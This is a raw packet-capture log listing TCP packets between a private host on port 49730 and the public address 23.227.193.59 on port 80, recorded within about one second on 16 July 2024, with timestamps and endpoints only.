Jul 16, 2024 22:29:51.822376013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822388887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822410107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822443962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822458029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822475910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822510004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822525024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822576046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822623968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822629929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822662115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822705984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822714090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822748899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822782040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822796106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822815895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822850943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822860956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822973967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823003054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823023081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.823035955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823070049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823082924 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.823105097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823139906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823151112 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.823173046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823206902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.823218107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.823973894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824003935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824031115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824038029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824048996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824064970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824079037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824081898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824098110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824120045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824122906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824139118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824141026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824155092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824170113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824186087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824192047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824203014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824215889 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824219942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824235916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824240923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824264050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824289083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824290991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824305058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824321032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824332952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824340105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824357986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824373960 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824404955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824440002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824455976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.824498892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.824884892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.906668901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906716108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906764984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.906776905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906817913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906860113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906864882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.906913996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906949997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.906960964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907004118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907040119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907052994 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907073021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907105923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907120943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907140970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907174110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907185078 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907207966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907246113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907257080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907519102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907568932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907573938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907604933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907646894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907656908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907690048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907723904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907736063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907762051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907795906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907804012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907881975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907916069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907931089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.907948971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.907999039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908001900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908037901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908071995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908085108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908104897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908138990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908152103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908171892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908220053 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908267021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908299923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908334017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908344984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908363104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908401966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908410072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908436060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908478022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908493996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.908524990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908559084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.908569098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909495115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909543991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909547091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909579992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909612894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909624100 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909647942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909694910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909701109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909734964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909771919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909780025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909805059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909833908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909848928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909868002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909903049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909912109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909934998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.909981012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.909986973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910020113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910054922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910065889 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910088062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910121918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910135031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910156965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910192013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910202026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910224915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910259962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910269022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910294056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910336971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910337925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910372019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910407066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910418034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910449982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910485029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910494089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910516977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910550117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910562992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910584927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910621881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910630941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910656929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910686970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910701990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910738945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910770893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910784006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910804987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910839081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910851002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910907984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910937071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.910962105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.910989046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911017895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911036968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.911071062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911103964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911118984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.911138058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911183119 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.911189079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911223888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911258936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.911273956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.912844896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.912894964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.912900925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.912935972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.912986040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.912990093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913022995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913057089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913069963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913091898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913132906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913134098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913167000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913213015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913254976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913290024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913324118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913332939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913357019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913391113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913400888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913427114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913460970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913471937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913660049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913692951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913706064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913727045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913762093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913773060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913795948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913830042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913842916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913862944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913901091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913902998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.913937092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913969040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.913980961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.914002895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914050102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.914057016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914092064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914124966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914133072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.914159060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914189100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914205074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.914222002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914258003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914267063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.914287090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.914331913 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995372057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995451927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995507002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995541096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995541096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995577097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995596886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995610952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995649099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995668888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995702028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995734930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995745897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995786905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995820999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995839119 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995853901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995889902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995907068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.995925903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.995984077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996319056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996376038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996409893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996427059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996475935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996527910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996546984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996582985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996635914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996638060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996670008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996720076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996721983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996757030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996789932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996807098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996824980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996865988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996874094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996917009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996951103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.996968985 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.996984959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997019053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997035980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997051001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997083902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997102022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997119904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997170925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997203112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997236967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997286081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997303963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997337103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997370958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997381926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997404099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997454882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997478962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997512102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997545958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997560978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.997580051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997612953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.997631073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998320103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998373985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998375893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998406887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998461008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998497963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998529911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998564005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998579979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998596907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998646021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998653889 CEST	80	49730	23.227.193.59	192.168.2.4
